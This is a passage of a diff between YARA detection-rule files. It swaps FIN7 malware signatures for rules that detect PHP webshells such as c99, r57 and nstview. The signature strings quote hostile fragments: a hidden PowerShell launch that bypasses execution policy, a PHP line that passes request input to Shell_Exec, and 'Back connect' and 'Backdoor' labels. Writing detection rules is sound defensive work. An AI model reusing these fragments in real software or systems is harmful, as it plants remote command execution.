+		hash = "52779a27fa377ae404761a7ce76a5da7"
+		logic_hash = "d4a2a1bcc1ff3264b35f2b05d7de664b56807977f2a793fd87206f046a185d3b"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a1e95ac1bb684186e9fb5c67f75c7c26ddc8b18ebfdaf061742ddf1675e17d55"
-		hash2 = "dc645aae5d283fa175cf463a19615ed4d16b1d5238686245574d8a6a8b0fc8fa"
-		hash3 = "eebbce171dab636c5ac0bf0fd14da0e216758b19c0ce2e5c572d7e6642d36d3d"
+		tags = ""
 
 	strings:
-		$s1 = "\\par var console=\\{\\};console.log=function()\\{\\};" ascii
-		$s2 = "616e64792d7063" ascii
-		$x1 = "0043003a005c00550073006500720073005c0061006e00640079005c004400650073006b0074006f0070005c0075006e00700072006f0074006500630074" ascii
-		$x2 = "780065006300750074006500280022004f006e0020004500720072006f007200200052006500730075006d00650020004e006500780074003a0073006500" ascii
-		$x3 = "\\par \\tab \\tab \\tab sh.Run \"powershell.exe -NoE -NoP -NonI -ExecutionPolicy Bypass -w Hidden -File \" & pToPSCb, 0, False" fullword ascii
-		$x4 = "002e006c006e006b002d00000043003a005c00550073006500720073005c007400650073007400610064006d0069006e002e0054004500530054005c0044" ascii
-		$x5 = "005c00550073006500720073005c005400450053005400410044007e0031002e005400450053005c0041007000700044006100740061005c004c006f0063" ascii
-		$x6 = "6c00690063006100740069006f006e002200220029003a00650078006500630075007400650020007700700072006f0074006500630074002e0041006300" ascii
-		$x7 = "7374656d33325c6d736874612e657865000023002e002e005c002e002e005c002e002e005c00570069006e0064006f00770073005c005300790073007400" ascii
-		$x8 = "\\par \\tab \\tab sh.Run \"%comspec% /c tasklist >\"\"\" & tpath & \"\"\" 2>&1\", 0, true" fullword ascii
-		$x9 = "00720079007b006500760061006c0028002700770061006c006c003d004700650074004f0062006a0065006300740028005c005c0027005c005c00270027" ascii
-		$x10 = "006e00640079005c004400650073006b0074006f0070005c0075006e006c006f0063006b002e0064006f0063002e006c006e006b" ascii
+		$s0 = ">[*] Safemode Mode Run</DIV>"
+		$s1 = "$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>"
+		$s2 = "[*] Spawning Shell"
+		$s3 = "Cha0s"
 
 	condition:
-		uint16(0)==0x5c7b and filesize <3000KB and (1 of ($x*) or 2 of them )
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_1 : FILE
+rule SIGNATURE_BASE_Mysql_Web_Interface_Version_0_8_Php
 {
 	meta:
-		description = "Detects sample from FIN7 report in August 2018"
-		author = "Florian Roth (Nextron Systems)"
-		id = "46c82d27-5683-5acd-9a3c-d69613091ecc"
-		date = "2018-08-01"
+		description = "Semi-Auto-generated  - file MySQL Web Interface Version 0.8.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "90616d2d-082b-5983-a859-62d1c5b8066e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7.yar#L95-L108"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7144d4c7651e3fb288ef608fdff07af6cb223c90c34fb780d65184760386d5c7"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4928-L4941"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "36d4f34d0a22080f47bb1cb94107c60f"
+		logic_hash = "f0a20870a3240948e3ef1ad61685b00c5fc90d6098b87af9ac43ab44ccd13c9e"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7f16cbe7aa1fbc5b8a95f9d123f45b7e3da144cb88db6e1da3eca38cf88660cb"
+		tags = ""
 
 	strings:
-		$s1 = "Manche Enterprises Limited0" fullword ascii
+		$s0 = "SooMin Kim"
+		$s1 = "http://popeye.snu.ac.kr/~smkim/mysql"
+		$s2 = "href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename"
+		$s3 = "<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofi"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and 1 of them
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_2 : FILE
+rule SIGNATURE_BASE_Simple_Cmd_Html
 {
 	meta:
-		description = "Detects sample from FIN7 report in August 2018"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4522cd85-ba85-5afd-8600-1ebabfaf6d02"
-		date = "2018-08-01"
+		description = "Semi-Auto-generated  - file simple_cmd.html.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "30990574-02a0-5eed-8317-847b6be13300"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7.yar#L110-L124"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8e62c9488f211635ae30633a0d894b00e0ba2a7e7d4cb628117a166d4f0f9697"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4942-L4955"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c6381412df74dbf3bcd5a2b31522b544"
+		logic_hash = "56b5b9e5518fa8a4be8c48735e997a538b0e534ad8fd72c1419dc0e8353bbc00"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "60cd98fc4cb2ae474e9eab81cd34fd3c3f638ad77e4f5d5c82ca46f3471c3020"
+		tags = ""
 
 	strings:
-		$s1 = "constructor or from DllMain." fullword ascii
-		$s2 = "Network Software Ltd0" fullword ascii
+		$s1 = "<title>G-Security Webshell</title>" fullword
+		$s2 = "<input type=TEXT name=\"-cmd\" size=64 value=\"<?=$cmd?>\" " fullword
+		$s3 = "<? if($cmd != \"\") print Shell_Exec($cmd);?>" fullword
+		$s4 = "<? $cmd = $_REQUEST[\"-cmd\"];?>" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_3 : FILE
+rule SIGNATURE_BASE__1_C2007_Php_Php_C100_Php
 {
 	meta:
-		description = "Detects sample from FIN7 report in August 2018"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0b0ce882-1c18-5741-bb71-0cef010dc778"
-		date = "2018-08-01"
+		description = "Semi-Auto-generated  - from files 1.txt, c2007.php.php.txt, c100.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "00ada6a4-a32a-5184-867d-e10a8c95c41c"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7.yar#L126-L140"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3f757bc4a6d46be85732fe33dd0a323c5774cbc1f0da2b984c5db14c1362745a"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4956-L4970"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6f6cb7c210bcd0f84c2ccff52850b1d673622ae49b83d614d63b5bbba7392327"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "995b90281774798a376db67f906a126257d314efc21b03768941f2f819cf61a6"
+		tags = ""
+		super_rule = 1
+		hash0 = "44542e5c3e9790815c49d5f9beffbbf2"
+		hash1 = "d089e7168373a0634e1ac18c0ee00085"
+		hash2 = "38fd7e45f9c11a37463c3ded1c76af4c"
 
 	strings:
-		$s1 = "cvzdfhtjkdhbfszngjdng" fullword ascii
-		$s2 = "sdfkjdfjfhgurgvncmnvmfdjdkfjdkfjdf" fullword wide
+		$s0 = "echo \"<b>Changing file-mode (\".$d.$f.\"), \".view_perms_color($d.$f).\" (\""
+		$s3 = "echo \"<td>&nbsp;<a href=\\\"\".$sql_surl.\"sql_act=query&sql_query=\".ur"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and 1 of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_4 : FILE
+rule SIGNATURE_BASE__Nst_Php_Php_Img_Php_Php_Nstview_Php_Php
 {
 	meta:
-		description = "Detects sample from FIN7 report in August 2018"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bead79bb-28c2-59ed-985b-e44b41e7f66a"
-		date = "2018-08-01"
+		description = "Semi-Auto-generated  - from files nst.php.php.txt, img.php.php.txt, nstview.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "238242f5-4e57-5edb-8806-ea5e06f1f637"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7.yar#L142-L157"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cd8a33c4e4f626d744e03f48e093f6a45223c74088b03185833ece8034614ca4"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4971-L4986"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b1e13f75edbbc8f9263e0e516a54330ce57190ba0b45813dad4bafeaeefa389b"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4b5405fc253ed3a89c770096a13d90648eac10a7fb12980e587f73483a07aa4c"
+		tags = ""
+		super_rule = 1
+		hash0 = "ddaf9f1986d17284de83a17fe5f9fd94"
+		hash1 = "17a07bb84e137b8aa60f87cd6bfab748"
+		hash2 = "4745d510fed4378e4b1730f56f25e569"
 
 	strings:
-		$s1 = "c:\\file.dat" fullword wide
-		$s2 = "constructor or from DllMain." fullword ascii
-		$s3 = "lineGetCallIDs" fullword ascii
+		$s0 = "<tr><form method=post><td><font color=red><b>Back connect:</b></font></td><td><i"
+		$s1 = "$perl_proxy_scp = \"IyEvdXNyL2Jpbi9wZXJsICANCiMhL3Vzci91c2MvcGVybC81LjAwNC9iaW4v"
+		$s2 = "<tr><form method=post><td><font color=red><b>Backdoor:</b></font></td><td><input"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and all of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_5 : FILE
+rule SIGNATURE_BASE__Network_Php_Php_Xinfo_Php_Php_Nfm_Php_Php
 {
 	meta:
-		description = "Detects sample from FIN7 report in August 2018"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6c810662-9ceb-5c3b-8f83-5a4aa2a5d461"
-		date = "2018-08-01"
+		description = "Semi-Auto-generated  - from files network.php.php.txt, xinfo.php.php.txt, nfm.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "4fd11db6-902d-5f1a-96c5-9dfcccce7488"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7.yar#L159-L173"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "893e144d86025db750b32ae69964578ec92862face706339a5bafb393e3c7091"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4987-L5001"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "913ff19b6448d3b074440c2a5f85d85813fdf010d33dc57c89ba1e5db6455e11"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7789a3d7d05c30b4efaf3f2f5811804daa56d78a9a660968a4f1f9a78a9108a0"
+		tags = ""
+		super_rule = 1
+		hash0 = "acdbba993a5a4186fd864c5e4ea0ba4f"
+		hash1 = "2601b6fc1579f263d2f3960ce775df70"
+		hash2 = "401fbae5f10283051c39e640b77e4c26"
 
 	strings:
-		$s1 = "x0=%d, y0=%d, x1=%d, y1=%d" fullword ascii
-		$s3 = "sdfkjdfjfhgurgvncmnvmfdjdkfjdkfjdf" fullword wide
+		$s0 = ".textbox { background: White; border: 1px #000000 solid; color: #000099; font-fa"
+		$s2 = "<input class='inputbox' type='text' name='pass_de' size=50 onclick=this.value=''"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_6 : FILE
+rule SIGNATURE_BASE__W_Php_Php_C99Madshell_V2_1_Php_Php_Wacking_Php_Php_Specialshell_99_Php_Php
 {
 	meta:
-		description = "Detects sample from FIN7 report in August 2018"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2b2e6b74-5d71-5656-8faf-37c94607d93e"
-		date = "2018-08-01"
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ee1fd555-f1bc-59a5-998c-f6098de8623e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7.yar#L175-L198"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "33db8e61b6220d9e16191228573d3d375cce9528241dcf1ad74d641f0959f03b"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5002-L5017"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a4bae5456baf0d8d894165c84d66118f2b16cfc040e299c2032eccb6a9eb4822"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1439d301d931c8c4b00717b9057b23f0eb50049916a48773b17397135194424a"
+		tags = ""
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "09609851caa129e40b0d56e90dfc476c"
 
 	strings:
-		$s1 = "coreServiceShell.exe" fullword ascii
-		$s2 = "PtSessionAgent.exe" fullword ascii
-		$s3 = "TiniMetI.exe" fullword ascii
-		$s4 = "PwmSvc.exe" fullword ascii
-		$s5 = "uiSeAgnt.exe" fullword ascii
-		$s7 = "LHOST:" fullword ascii
-		$s8 = "TRANSPORT:" fullword ascii
-		$s9 = "LPORT:" fullword ascii
+		$s2 = "echo \"<hr size=\\\"1\\\" noshade><b>Done!</b><br>Total time (secs.): \".$ft"
+		$s3 = "$fqb_log .= \"\\r\\n------------------------------------------\\r\\nDone!\\r"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <20KB and (pe.exports("TiniStart") or 4 of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_7 : FILE
+rule SIGNATURE_BASE__R577_Php_Php_Sniper_SA_Shell_Php_R57_Php_Php_R57_Shell_Php_Php_Spy_Php_Php_S_Php_Php
 {
 	meta:
-		description = "Detects sample from FIN7 report in August 2018"
-		author = "Florian Roth (Nextron Systems)"
-		id = "96943654-a6e8-59c0-ab6c-1ab3906a5d05"
-		date = "2018-08-01"
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "44b53124-c8b6-545b-819f-77fd65e5d61b"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7.yar#L200-L214"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "212bc13d22d7bc6b0ef10ae034ea09c7ea0d0e66afd212fb55c09cf43344c2ec"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5018-L5035"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0df3e00f752f85aa1f150c01e3ef41b9a5cd3d3ce2060965992320cb3c4d87ae"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ce8ce35f85406cd7241c6cc402431445fa1b5a55c548cca2ea30eeb4a423b6f0"
+		tags = ""
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "911195a9b7c010f61b66439d9048f400"
+		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash3 = "8023394542cddf8aee5dec6072ed02b5"
+		hash4 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash5 = "817671e1bdc85e04cc3440bbd9288800"
 
 	strings:
-		$s1 = "libpng version" fullword ascii
-		$s2 = "sdfkjdfjfhgurgvncmnvmfdjdkfjdkfjdf" fullword wide
+		$s2 = "'eng_text71'=>\"Second commands param is:\\r\\n- for CHOWN - name of new owner o"
+		$s4 = "if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and all of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_8 : FILE
+rule SIGNATURE_BASE__C99Shell_V1_0_Php_Php_C99Php_Sses_Php_Php_Ctt_Sh_Php_Php
 {
 	meta:
-		description = "Detects sample from FIN7 report in August 2018"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1eb9810e-2b50-5a93-925e-073bb17e1e6c"
-		date = "2018-08-01"
+		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, SsEs.php.php.txt, ctt_sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7.yar#L216-L229"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f15a8dfd3efb094ab73caebe9bffb5735762960445ca421cd49eaa091ecea300"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5036-L5052"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "137f98b636ec012d7d5e687f7d24ae88e8d3261360e60a4bbc03da248cce381e"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d8bda53d7f2f1e4e442a0e1c30a20d6b0ac9c6880947f5dd36f78e4378b20c5c"
+		tags = ""
+		super_rule = 1
+		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		hash3 = "671cad517edd254352fe7e0c7c981c39"
 
 	strings:
-		$s1 = "GetL3st3rr" fullword ascii
+		$s0 = "\"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze\""
+		$s2 = "\"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm\""
+		$s4 = "\"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo\""
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and all of them
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_10 : FILE
+rule SIGNATURE_BASE__R577_Php_Php_Spy_Php_Php_S_Php_Php
 {
 	meta:
-		description = "Detects sample from FIN7 report in August 2018"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2c6f557e-31d3-5377-a3fa-4f1507f28386"
-		date = "2018-08-01"
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "d287136c-534b-51a4-88fc-40ef9f22d910"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7.yar#L231-L248"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1d6dba0c858eacea5bd67682a588105a2ff09d10bb60d9888ace07609c9b33de"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5053-L5067"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "09892789e8dad16f9fc7c4e22525e5d0af3af401a4b2655b70f7a6856888875c"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8cc02b721683f8b880c8d086ed055006dcf6155a6cd19435f74dd9296b74f5fc"
+		tags = ""
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash2 = "817671e1bdc85e04cc3440bbd9288800"
 
 	strings:
-		$c1 = { 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70
-               00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43
-               00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74
-               00 20 00 31 00 20 00 2D 00 20 00 31 00 39 00 }
+		$s2 = "echo $te.\"<div align=center><textarea cols=35 name=db_query>\".(!empty($_POST['"
+		$s3 = "echo sr(45,\"<b>\".$lang[$language.'_text80'].$arrow.\"</b>\",\"<select name=db>"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and 1 of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_FIN7_Sample_EXE_Aug18_1 : FILE
+rule SIGNATURE_BASE_Webshell_C99_Generic
 {
 	meta:
-		description = "Detects FIN7 Sample"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7c66a234-9dee-5279-b855-892b12d036ff"
-		date = "2018-08-01"
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7.yar#L250-L275"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "780e2cb9a704e0df0383737928c2cfc8aa5de5a8f3c9dc67de866d5ac73b8402"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5068-L5088"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "422bc3a0d9b04b1e37ad954faacb1ec7841fe529c1eb19634bdbfe83da374c73"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "608003c2165b0954f396d835882479f2504648892d0393f567e4a4aa90659bf9"
-		hash2 = "deb62514704852ccd9171d40877c59031f268db917c23d00a2f0113dab79aa3b"
-		hash3 = "16de81428a034c7b2636c4a875809ab62c9eefcd326b50c3e629df3b141cc32b"
-		hash4 = "3937abdd1fd63587022ed540a31c58c87c2080cdec51dd24af3201a6310059d4"
-		hash5 = "7789a3d7d05c30b4efaf3f2f5811804daa56d78a9a660968a4f1f9a78a9108a0"
+		tags = ""
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash5 = "09609851caa129e40b0d56e90dfc476c"
+		hash6 = "671cad517edd254352fe7e0c7c981c39"
 
 	strings:
-		$s1 = "x0=%d, y0=%d, x1=%d, y1=%d" fullword ascii
-		$s2 = "dx=%d, dy=%d" fullword ascii
-		$s3 = "Error with JP2H box size" fullword ascii
-		$co1 = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
-               00 00 00 00 00 00 00 00 00 00 00 2E 63 6F 64 65
-               00 00 00 }
+		$s0 = "  if ($copy_unset) {foreach($sess_data[\"copy\"] as $k=>$v) {unset($sess_data[\""
+		$s1 = "  if (file_exists($mkfile)) {echo \"<b>Make File \\\"\".htmlspecialchars($mkfile"
+		$s2 = "  echo \"<center><b>MySQL \".mysql_get_server_info().\" (proto v.\".mysql_get_pr"
+		$s3 = "  elseif (!fopen($mkfile,\"w\")) {echo \"<b>Make File \\\"\".htmlspecialchars($m"
 
 	condition:
